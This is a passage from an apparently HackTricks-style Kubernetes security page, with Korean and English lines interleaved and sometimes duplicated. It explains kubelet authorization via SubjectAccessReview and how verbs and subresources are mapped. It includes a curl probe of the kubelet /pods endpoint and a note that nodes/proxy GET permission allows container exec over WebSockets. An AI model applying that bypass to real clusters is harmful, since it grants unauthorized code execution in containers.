kubelet은 구성된 API 서버에서 **`SubjectAccessReview`** API를 호출하여 각 요청이 **허가되었는지** **결정**합니다.
The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.**
kubelet은 apiserver와 동일한 [요청 속성](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) 접근 방식을 사용하여 API 요청을 허가합니다:
kubelet은 구성된 API 서버에서 **`SubjectAccessReview`** API를 호출하여 각 요청에 대해 **권한이 있는지** **판단**합니다.
- **작업**
The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
| HTTP 동사 | 요청 동사 |
kubelet은 apiserver와 동일한 [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) 방식을 사용하여 API 요청을 인가합니다:
- **Action**
- **동작**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | 생성 |
| GET, HEAD | 가져오기 (개별 리소스의 경우), 목록 (전체 객체 내용을 포함한 컬렉션의 경우), 감시 (개별 리소스 또는 리소스 컬렉션을 감시하는 경우) |
| PUT | 업데이트 |
| PATCH | 패치 |
| DELETE | 삭제 (개별 리소스의 경우), 컬렉션 삭제 (컬렉션의 경우) |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- Kubelet API와 통신하는 **리소스**는 **항상** **노드**이며, **서브리소스**는 들어오는 요청의 경로에서 **결정**됩니다:
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
| Kubelet API | 리소스 | 서브리소스 |
- Kubelet API와 통신하는 **resource**는 항상 **nodes**이며, **subresource**는 들어오는 요청의 경로에서 **결정**됩니다:
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| _모든 기타_ | nodes | proxy |
| _all others_ | nodes | proxy |
예를 들어, 다음 요청은 권한 없이 kubelet의 포드 정보를 접근하려고 했습니다:
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
> [!NOTE]
> WebSocket 기반의 `/exec`, `/run`, `/attach`, 및 `/portforward`는 기본 **proxy** subresource에 해당하며 초기 HTTP **GET** 핸드셰이크로 인가됩니다. `nodes/proxy` **GET** 권한만 있는 주체라도 WebSockets를 통해 `https://<node_ip>:10250`에 직접 연결하면 컨테이너를 exec할 수 있습니다. 자세한 내용은 [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion)를 참조하세요.
For example, the following request tried to access the pods info of kubelet without permission:
예를 들어, 다음 요청은 kubelet의 pods 정보를 권한 없이 접근하려고 시도했습니다:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- 우리는 **금지됨**을 받았으므로 요청이 **인증 검사를 통과했습니다**. 그렇지 않았다면 우리는 단지 `권한 없음` 메시지 받았을 것입니다.
- **사용자 이름**(이 경우 토큰에서)을 볼 수 있습니다.
- **리소스**가 **노드**고 **하위 리소스**가 **프록시**였는지 확인하십시오(이전 정보와 일치합니다).
- 우리는 **Forbidden** 응답을 받았으므로 요청이 **passed the Authentication check**. 그렇지 않았다면 단순히 `Unauthorised` 메시지 받았을 것이다.
- 우리는 **username**을 볼 수 있다(이 경우 token에서)
- **resource**가 **nodes**고 **subresource**가 **proxy**였음을 확인하라(이는 앞의 정보와 일치다)
## References
## 참고자료
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}